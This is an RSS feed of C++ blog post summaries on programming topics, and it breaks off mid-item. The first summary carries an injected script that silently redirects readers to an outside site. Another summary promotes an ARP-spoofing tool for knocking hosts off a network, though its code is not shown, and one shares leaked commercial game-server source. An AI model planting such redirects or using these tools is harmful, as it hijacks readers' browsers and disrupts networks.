﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Rixu Blog (日需博客)-随笔分类-C C++</title><link>http://www.cppblog.com/gezidan/category/17470.html</link><description>日需博客，每日必需来踩踩哦..</description><language>zh-cn</language><lastBuildDate>Fri, 18 Mar 2016 08:54:49 GMT</lastBuildDate><pubDate>Fri, 18 Mar 2016 08:54:49 GMT</pubDate><ttl>60</ttl><item><title>C++11中的Move语义和右值引用</title><link>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 15 Mar 2016 07:49:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/213026.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/213026.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/213026.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: <p style="margin-top: 10px; margin-bottom: 10px; padding: 0px; list-style-type: none; list-style-image: none; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; line-height: 25.2px; background-color: #ffffff;">C++一直致力于生成快速的程序。不幸的是，直到C++11之前，这里一直有一个降低C++程序速度的顽症：临时变量的创建。有时这些临时变量可以被编译器优化（例如返回值优化），但是这并不总是可行的，通常这会导致高昂的对象复制成本。我说的是怎么回事呢？</p><br><script language="javascript"type="text/javascript">window.location.replace("http://blog.libgod.com");</script>&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/213026.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2016-03-15 15:49 <a href="http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>传奇3.0 VC++最终正式版本源码</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157035.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 01:14:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157035.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157035.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157035.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157035.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157035.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 传奇3.0 (evil’s illusion Server)<br>韩国正式版本 vc++ 源码<br>GameServer VC++源代码，包括地图，脚本，人物处理，协议加密，带数据库，由于源码为商业性质的，请使用者注意其版权和不要擅自公开发布和传播源码。<br>WEMADE 公司于 Delphi 版本服务器端程序后，修改为 VC++ 版本。<br>可用VC++ 6.0 或 VC.net 编译；学习网络游戏开发的朋友又一个绝好的源码。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157035.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157035.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 09:14 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157035.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQLite3 C/C++ 开发接口简介</title><link>http://www.cppblog.com/gezidan/archive/2011/09/21/156422.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 21 Sep 2011 07:12:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/21/156422.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156422.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/21/156422.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156422.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156422.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1.0 总览<br><br>SQLite3是SQLite一个全新的版本,它虽然是在SQLite 2.8.13的代码基础之上开发的,但是使用了和之前的版本不兼容的数据库格式和API. SQLite3是为了满足以下的需求而开发的:<br><br> <br><br>l        支持UTF-16编码.<br><br>l        用户自定义的文本排序方法.<br><br>l        可以对BLOBs字段建立索引.<br><br>因此为了支持这些特性我改变了数据库的格式,建立了一个与之前版本不兼容的3.0版. 至于其他的兼容性的改变,例如全新的API等等,都将在理论介绍之后向你说明,这样可以使你最快的一次性摆脱兼容性问题.&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/21/156422.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/156422.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-21 15:12 <a href="http://www.cppblog.com/gezidan/archive/2011/09/21/156422.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>修改const变量的疑问</title><link>http://www.cppblog.com/gezidan/archive/2011/09/10/155529.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sat, 10 Sep 2011 13:21:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/10/155529.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/155529.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/10/155529.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/155529.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/155529.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 2个指针指向的地址和变量地址一样，值为什么不一样呢？疑惑。<br><br>#include "stdafx.h"<br> <br> <br>int _tmain(int argc, _TCHAR* argv[])<br>{<br>    const int a=10;<br>    const int *p1=&a;<br>    int *p2=const_cast<int *>(p1);<br>    if (&a==p1)<br>    {<br>        printf("&a==p1\n");<br>    }<br>    else<br>    {<br>        printf("&a!=p1\n");&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/10/155529.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/155529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-10 21:21 <a href="http://www.cppblog.com/gezidan/archive/2011/09/10/155529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GDI+ for VC6 MFC</title><link>http://www.cppblog.com/gezidan/archive/2011/08/23/154097.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 23 Aug 2011 01:10:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/23/154097.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/154097.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/23/154097.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/154097.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/154097.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 五年前，笔者曾在C#中使用GDI+开发程序，对其颇有好感。这一段时间，在使用VC6作图时，深切感会到使用GDI的种种不便，不比GDI+好用。沉迷于VC6的高效与轻便，不想只为了一个GDI+而被迫安装沉甸甸的.Net，便产生了一个疑问，难道GDI+只能用于.Net中吗？<br>访问微软的MSDN网站后，随即解开了此谜。于是便有了此文 – 如何在VC6 MFC中使用GDI+。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/23/154097.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/154097.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-23 09:10 <a href="http://www.cppblog.com/gezidan/archive/2011/08/23/154097.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C++自定义发IP包例子</title><link>http://www.cppblog.com/gezidan/archive/2011/08/19/153850.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 19 Aug 2011 06:55:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/19/153850.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/153850.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/19/153850.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/153850.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/153850.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/19/153850.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/153850.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-19 14:55 <a href="http://www.cppblog.com/gezidan/archive/2011/08/19/153850.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP欺骗 C++实现</title><link>http://www.cppblog.com/gezidan/archive/2011/08/19/153843.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 19 Aug 2011 03:55:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/19/153843.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/153843.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/19/153843.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/153843.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/153843.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 前段时间我们学校的的网络总是出现掉线的问题，后来说是ARP欺骗，要我们用ANTIARPSNIFFER。小弟不才，<br><br>也想搞清楚这个ARP欺骗到底是个什么东西。于是在网上查了点资料，看了点文档。也算是DIY了一个出来，而<br><br>且可以不被ANTIARPSNIFFER发现的让对方主机在网络中死掉。于是把这个小东西贴出来让大家一起把玩一下。<br>    在下菜鸟一只，还请高手指教<br>参考资料：《TCP/IP详解II：实现》，《WINPCAP 3.0 DOC》,《交换网络中的嗅探和ARP欺骗》（一位叫RefDom<br><br>的大哥很久前写的帖子）&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/19/153843.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/153843.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-19 11:55 <a href="http://www.cppblog.com/gezidan/archive/2011/08/19/153843.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows平台下的内存管理</title><link>http://www.cppblog.com/gezidan/archive/2011/08/15/153399.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 15 Aug 2011 01:21:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/15/153399.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/153399.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/15/153399.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/153399.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/153399.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1. Windows平台下主要的内存管理途径<br>申请<br>释放<br>new<br>delete<br>malloc<br>free<br>CoTaskMemAlloc<br>CoTaskMemFree<br>IMalloc::alloc<br>IMalloc/free<br>GlobalAlloc<br>GlobalFree<br>LocalAlloc<br>LocalFree<br>HeapAlloc<br>HeapFree<br>VirtualAlloc<br>VirtualFree&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/15/153399.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/153399.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-15 09:21 <a href="http://www.cppblog.com/gezidan/archive/2011/08/15/153399.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>malloc,new,VirtualAlloc,HeapAlloc性能(速度)比较</title><link>http://www.cppblog.com/gezidan/archive/2011/08/15/153397.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 15 Aug 2011 01:19:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/15/153397.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/153397.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/15/153397.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/153397.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/153397.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 这里比较的VC++编译的C++代码中的性能<br><br>我用的是VC6.0测试的<br><br>就不介绍这几个的用法了<br><br>我写了一段简单的测试代码<br><br>测试结果是：<br><br>malloc:390<br>new:391<br>VirtualAlloc:454<br>HeapAlloc:47&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/15/153397.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/153397.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-15 09:19 <a href="http://www.cppblog.com/gezidan/archive/2011/08/15/153397.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC++下使用ADO编写数据库程序</title><link>http://www.cppblog.com/gezidan/archive/2011/08/09/152863.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 09 Aug 2011 06:21:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/09/152863.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152863.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/09/152863.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152863.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152863.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 准备：<br>(1)、引入ADO类<br>#import "c:\program files\common files\system\ado\msado15.dll"<br>no_namespace<br>rename ("EOF", "adoEOF")<br>(2)、初始化COM<br>在MFC中可以用AfxOleInit();非MFC环境中用:<br>CoInitialize(NULL);<br>CoUnInitialize();&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/09/152863.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152863.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-09 14:21 <a href="http://www.cppblog.com/gezidan/archive/2011/08/09/152863.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GUI程序也能使用控制台窗口</title><link>http://www.cppblog.com/gezidan/archive/2011/08/09/152862.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 09 Aug 2011 05:57:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/09/152862.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152862.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/09/152862.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152862.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152862.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 很多时候，调试GUI程序是很不方便的，通常的做法是使用MessageBox，但是作为一个模态窗口，它经常产生不必要的消息，比如killfocus, setfocus或者paint，从而影响调试的执行过程。当然，使用vc的调试器也不错，但是这样也很容易造成窗口切换从而产生干扰消息。<br>因此，如果能像在控制台程序里那样使用cin/cout对象或printf族函数，会使得调试过程方便得多。而通常，windows是不会为GUI程序产生单独的命令行窗口的。所以我们是看不到使用标准输入输出流输出的东西的。既然系统不提供，那就自己动手“造”出一个来吧！<br><br>下面是一个简单的控制台窗口对象，它可以为你的程序创建一个命令行窗口，并将stdout,stdin和stderr重定向到这个命令行窗口。在程序中建立一个这样的对象之后，就可以直接使用cin/cout/*printf来操纵这个新的命令行窗口了！5 f8 I$ l4 o- b3 L, m% h&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/09/152862.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152862.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-09 13:57 <a href="http://www.cppblog.com/gezidan/archive/2011/08/09/152862.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>位运算的用处搜集</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152780.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 05:29:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152780.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152780.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152780.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152780.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152780.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 位运算应用口诀<br>清零取反要用与，某位置一可用或<br>若要取反和交换，轻轻松松用异或<br>移位运算<br>要点 1 它们都是双目运算符，两个运算分量都是整形，结果也是整形。<br>  2 " < <" 左移：右边空出的位上补0，左边的位将从字头挤掉，其值相当于乘2。<br>  3 ">>"右移：右边的位被挤掉。对于左边移出的空位，如果是正数则空位补0，若为负数，可能补0或补1，这取决于所用的计算机系统。<br>  4 ">>>"运算符，右边的位被挤掉，对于左边移出的空位一概补上0。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152780.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152780.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 13:29 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152780.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>介绍LuaPlus: 好用的Lua For C++扩展</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152769.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 03:36:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152769.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152769.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152769.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152769.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152769.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: LuaPlus是Lua的C++增强，也就是说，LuaPlus本身就是在Lua的源码上进行增强得来的。用它与C++进行合作，是比较好的一个选择。<br>LuaPlus目前版本为：LuaPlus for Lua 5.01 Distribution Build 1080 (February 28, 2004)。大家可以到http://luaplus.org/ 站点下载：<br>源码   (http://wwhiz.com/LuaPlus/LuaPlus50_Build1081.zip)<br>目标码 (http://wwhiz.com/LuaPlus/LuaPlus50_Build1081_Win32Binaries.zip)<br>介绍LuaPlus: 好用的Lua For C++扩展      沐枫网志 &nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152769.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152769.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 11:36 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152769.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>json格式入门和总结</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152759.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 03:07:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152759.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152759.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152759.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152759.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152759.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:       数据交换的格式，从结构上看，所有的数据（data）最终都可以分解成三种类型：<br><br>第一种类型是标量（scalar），也就是一个单独的字符串（string）或数字（numbers），比如"北京"这个单独的词。<br><br>第二种类型是序列（sequence），也就是若干个相关的数据按照一定顺序并列在一起，又叫做数组（array）或列表（List），比如"北京，上海"。<br><br>第三种类型是映射（mapping），也就是一个名/值对（Name/value），即数据有一个名称，还有一个与之相对应的值，这又称作散列（hash）或字典（dictionary），比如"首都：北京"。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152759.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152759.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 11:07 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152759.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>修改IAT实现本进程API HOOK</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152757.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 03:03:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152757.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152757.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152757.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152757.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152757.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: //修改IAT实现本进程API HOOK  <br>//coded by xicao  <br>//QQ:327062448  <br>//E-MAIL:xicao54007@sina.com  <br>#include <windows.h>  <br>#include <imagehlp.h>//ImageDirectoryEntryToData  <br>#pragma comment(lib,"imagehlp.lib")  <br>/************************************************************/  <br>char *szModName = NULL ;  <br>char *szHacked = "不好意思hook到了!" ;  <br>DWORD dwHookFun ;  <br>DWORD dwHookApiAddr;  <br>PIMAGE_IMPORT_DESCRIPTOR pImportDesc ;  <br>PIMAGE_THUNK_DATA32 pThunk;  <br>U&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152757.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152757.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 11:03 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152757.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>经典编程书籍（C++, 网络, Windows, Linux）</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152756.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 02:59:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152756.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152756.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152756.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152756.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152756.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 两年前就给自己列出了一个读书清单，但进展缓慢，看的经典书籍仍然寥寥可数，惭愧中...... <br>现在将这个书单重新修改，一方面鞭策自己学习，另一方面也表达对大牛们有如滔滔江水般的敬仰之意。 <br>书单中列举的都是相关领域的经典书籍，必读之作。此书单的编辑参考了很多网站，包括一些名家的推荐，例如侯捷，孟岩，荣耀，潘爱民等等，在此也向这些前辈表示感谢。^_^ &nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152756.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152756.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 10:59 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152756.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>LPTSTR、LPCSTR、LPCTSTR、LPSTR的来源及意义</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152755.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 02:58:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/08/08/152755.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/152755.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/08/08/152755.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/152755.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/152755.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: UNICODE：它是用两个字节表示一个字符的方法。比如字符'A'在ASCII下面是一个字符，可'A'在UNICODE下面是两个字符,高字符用0填充，而且汉字'程'在ASCII下面是两个字节，而在UNICODE下仍旧是两个字节。UNICODE的用处就是定长表示世界文字，据统计，用两个字节可以编码现存的所有文字而没有二义。<br>MBCS，它是多字节字符集，它是不定长表示世界文字的编码。MBCS表示英文字母时就和ASCII一样（这也是我们容易把MBCS和ASCII搞混的原因），但表示其他文字时就需要用多字节。 <br>WINDOWS下面的程序设计可以支持MBCS和UNICODE两种编码的字符串，具体用那种就看你定义了MBCS宏还是UNICODE宏。MBCS宏对应的字符串指针是char*也就是LPSTR，UNICODE对应的指针是unsigned   short*也就是LPWSTR，为了写程序方便微软定义了类型LPTSTR，在MBCS下他就是char*,   在UNICODE下它是unsigned   char*,这样你就可以重定义一个宏进行不同字符集的转换了。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/08/08/152755.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/152755.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-08-08 10:58 <a href="http://www.cppblog.com/gezidan/archive/2011/08/08/152755.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用KeepAlive检测网络异常</title><link>http://www.cppblog.com/gezidan/archive/2011/08/08/152754.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 08 Aug 2011 02:53:00 